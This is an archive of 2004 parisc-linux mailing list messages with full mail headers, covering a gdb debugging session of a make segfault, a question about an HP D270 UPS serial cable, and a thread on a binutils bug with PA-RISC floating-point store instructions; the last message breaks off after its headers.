X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make SEGV
Date: Sun, 12 Dec 2004 17:00:15 -0500 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <200412122200.iBCM0FVH010152@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623624 12002 80.91.229.3 (22 Nov 2014 02:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18639 invoked by uid 65534); 12 Dec 2004 22:26:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 12 Dec 2004 23:26:27 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 774953BD42; Sun, 12 Dec 2004 15:01:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18756-03; Sun, 12 Dec 2004 15:01:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A5BE83BE49; Sun, 12 Dec 2004 15:00:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A81733BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 15:00:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17463-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 15:00:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CB76E3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 15:00:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBCM0Gko010154 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 17:00:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBCM0FVH010152
	for parisc-linux@lists.parisc-linux.org;
	Sun, 12 Dec 2004 17:00:15 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22203

This is on gsyprf11.  We had a SIGSEGV because r26 is 0 but how
did r26 get to be 0?

dave@gsyprf11:~/gcc-4.0/objdir/hppa-linux/libjava$ gdb /home/dave/opt/gnu/bin/make -c core.save
...
Core was generated by `make AR_FLAGS=rc CC_FOR_BUILD=gcc CFLAGS=-O2 -g -O2 CXXFLAGS=-g -O2 -D_GNU_SOUR'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /home/dave/opt/gnu/lib/libutil.so.1...done.
Loaded symbols for /home/dave/opt/gnu/lib/libutil.so.1
Reading symbols from /home/dave/opt/gnu/lib/librt.so.1...done.
Loaded symbols for /home/dave/opt/gnu/lib/librt.so.1
Reading symbols from /home/dave/opt/gnu/lib/libc.so.6...done.
Loaded symbols for /home/dave/opt/gnu/lib/libc.so.6
Reading symbols from /home/dave/opt/gnu/lib/libpthread.so.0...done.
Loaded symbols for /home/dave/opt/gnu/lib/libpthread.so.0
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
#0  0x000160e0 in set_command_state (file=0x0, state=2) at ../file.c:556
556       file->command_state = state;
(gdb) bt
#0  0x000160e0 in set_command_state (file=0x0, state=2) at ../file.c:556
#1  0x0001adec in start_job_command (child=0x75d0b8) at ../job.c:1249
...
(gdb) disass 0x0001addc 0x0001adfc
Dump of assembler code from 0x1addc to 0x1adfc:
0x0001addc <start_job_command+888>:     ldw -124(,sp),r19
0x0001ade0 <start_job_command+892>:     ldi 2,r25
0x0001ade4 <start_job_command+896>:     b,l 0x160dc <set_command_state>,rp
0x0001ade8 <start_job_command+900>:     ldw 4(,r19),r26
...
(gdb) disass 0x000160c0 0x000160f0
Dump of assembler code from 0x160c0 to 0x160f0:
...
0x000160dc <set_command_state+0>:       depw,z r25,17,2,r20
0x000160e0 <set_command_state+4>:       ldw 50(,r26),r19
(gdb) p/x $r26
$1 = 0x0
(gdb) p/x $r25
$4 = 0x2
(gdb) p/x $r19
$8 = 0x75d0b8
(gdb) p/x *($r19 + 4)
$7 = 0x1728b8
(gdb) p/x $rp
$10 = 0x1adef

It would seem r26 should contain 0x1728b8.  I don't know if this is
a coincidence but r15 contains this value:

(gdb) p/x $r15
$1 = 0x1728b8

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: stasi <stasi1@poczta.fm>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] d270 +UPS
Date: Tue, 14 Dec 2004 14:21:42 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <200412141421.42493.stasi1@poczta.fm>
Reply-To: marcin.markiewicz@mars.slupsk.pl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623624 12005 80.91.229.3 (22 Nov 2014 02:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2004 13:25:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 14 Dec 2004 14:25:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 46C403BD42; Tue, 14 Dec 2004 06:25:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07085-08; Tue, 14 Dec 2004 06:24:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 443173BE48; Tue, 14 Dec 2004 06:24:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 838A93BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Dec 2004 06:24:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07406-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Dec 2004 06:24:19 -0700 (MST)
Original-Received: from smtp.poczta.interia.pl (smtp1.poczta.interia.pl [217.74.65.44])
	by free.linux.hp.com (Postfix) with ESMTP id 1CABD3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Dec 2004 06:24:19 -0700 (MST)
Original-Received: by smtp.poczta.interia.pl (INTERIA.PL, from userid 502)
	id 52218D18DB; Tue, 14 Dec 2004 14:24:17 +0100 (CET)
Original-Received: from poczta.interia.pl (mi03.poczta.interia.pl [10.217.12.3])
	by smtp.poczta.interia.pl (INTERIA.PL) with ESMTP id B4A27D1863
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Dec 2004 14:24:16 +0100 (CET)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 27CA2189C7E; Tue, 14 Dec 2004 14:23:59 +0100 (CET)
Original-Received: from charon.org (unknown [195.136.2.95])
	by www.poczta.fm (INTERIA.PL) with ESMTP id 05DDD189C53
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Dec 2004 14:23:56 +0100 (CET)
User-Agent: KMail/1.6.2
Content-Disposition: inline
X-EMID: 34a15138
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22204

Hi all parisc users

I have another problem with my D270 i have big and working UPS in this machine 
but I don't have original cable to connect UPS with RS port.

So I have two request:
Maybe anyone have a schema of connection in this cable i will be grateful.
And second who now how working communication in this UPS (it is dump or  smart 
mode).

Thanks for any help

----------------------------------------------------------------------
Dzwon kilka razy taniej! >>> http://link.interia.pl/f1840

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	Re: Gcc bug or I missunderstand? [ftsd %fr22, 56(%sr0,
	%r20) failed to build?]
Date: Wed, 15 Dec 2004 08:39:07 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20041215163907.GZ29171@tausq.org>
References: <418A80250000FC28@mail-2-bnl.tiscali.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623624 12011 80.91.229.3 (22 Nov 2014 02:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:44 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 16:39:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx070) with SMTP; 15 Dec 2004 17:39:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 540083BE5D; Wed, 15 Dec 2004 09:39:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23729-06; Wed, 15 Dec 2004 09:39:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DAB183BE51; Wed, 15 Dec 2004 09:39:16 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5261B3BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:39:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23723-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:39:09 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 43D453BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:39:09 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 92C986BE7D; Wed, 15 Dec 2004 08:39:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <418A80250000FC28@mail-2-bnl.tiscali.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22205

> it failed to build because:
> 
> gcc -save-temps -o tmset5 tmset5.c
> tmset5.s: Assembler messages:
> tmset5.s:122: Error: Invalid operands
> tmset5.s:130: Error: Invalid operands
> tmset5.s:138: Error: Invalid operands
> tmset5.s:146: Error: Invalid operands
> tmset5.s:154: Error: Invalid operands
> tmset5.s:162: Error: Invalid operands
[...]
> it seems that if d>8 there is a pb?
> Did I miss something?

No, this is a known bug with binutils; nobody has bothered to look
into/fix it yet :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Gcc bug or I missunderstand? [ftsd %fr22,
	56(%sr0, %r20) failed to build?]
Date: Wed, 15 Dec 2004 17:18:13 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20041215171813.GA28058@parcelfarce.linux.theplanet.co.uk>
References: <418A80250000FC28@mail-2-bnl.tiscali.it>
	<20041215163907.GZ29171@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623624 12013 80.91.229.3 (22 Nov 2014 02:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:44 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 17:56:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 15 Dec 2004 18:56:29 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E1AC3BE56; Wed, 15 Dec 2004 10:18:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24186-01; Wed, 15 Dec 2004 10:18:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A24EF3BE4B; Wed, 15 Dec 2004 10:18:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40BDF3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 10:18:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23729-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 10:18:20 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id F39113BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 10:18:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cecmz-00022q-Nz; Wed, 15 Dec 2004 17:18:13 +0000
Content-Disposition: inline
In-Reply-To: <20041215163907.GZ29171@tausq.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22206

On Wed, Dec 15, 2004 at 08:39:07AM -0800, Randolph Chung wrote:
> > it seems that if d>8 there is a pb?
> > Did I miss something?
> 
> No, this is a known bug with binutils; nobody has bothered to look
> into/fix it yet :(

Quick look at page 9-24 of the Kane book indicates that for d between +15
and -16 we use format 42 and for d outside that range, we use format 3.
Looks like nobody bothered to teach binutils about this longer form yet.
Is it possible it's only available for PA2.0 processors?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Gcc bug or I missunderstand? [ftsd %fr22,
	56(%sr0, %r20) failed to build?]
Date: Wed, 15 Dec 2004 11:04:36 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20041215180436.GD27818@colo.lackof.org>
References: <418A80250000FC28@mail-2-bnl.tiscali.it>
	<20041215163907.GZ29171@tausq.org>
	<20041215171813.GA28058@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623625 12016 80.91.229.3 (22 Nov 2014 02:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:45 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 18:06:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 15 Dec 2004 19:06:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 938693BE48; Wed, 15 Dec 2004 11:05:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24607-02; Wed, 15 Dec 2004 11:05:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4031F3BE4B; Wed, 15 Dec 2004 11:05:03 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 292CD3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:04:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24190-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:04:48 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id ABED13BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:04:47 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 874BD298059; Wed, 15 Dec 2004 11:04:46 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29861-05; Wed, 15 Dec 2004 11:04:36 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5683B298029; Wed, 15 Dec 2004 11:04:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041215171813.GA28058@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22207

On Wed, Dec 15, 2004 at 05:18:13PM +0000, Matthew Wilcox wrote:
> Quick look at page 9-24 of the Kane book indicates that for d between +15
> and -16 we use format 42 and for d outside that range, we use format 3.
> Looks like nobody bothered to teach binutils about this longer form yet.
> Is it possible it's only available for PA2.0 processors?

Yes - that seems to be the case.
FSTD is PA2.0 Mnemonic. Page J-4 of the same book.

The two corresponding PA 1.1 ops are FSTDS and FSTDX.
FSTDS is the short form (5 bits immediate).
We could use FSTDX but it will require another register in the asm.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20Re=3A=20Gcc=20bug=20or=20I=20missunderstand=3F=20=5Bftsd=20=25fr22=2C=0956=28=25sr0=2C=20=25r20=29=20failed=20to=20build=3F=5D?=
Date: Wed, 15 Dec 2004 18:25:35 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <418A8131000106D9@mail-7-bnl.tiscali.it>
References: <20041215180436.GD27818@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
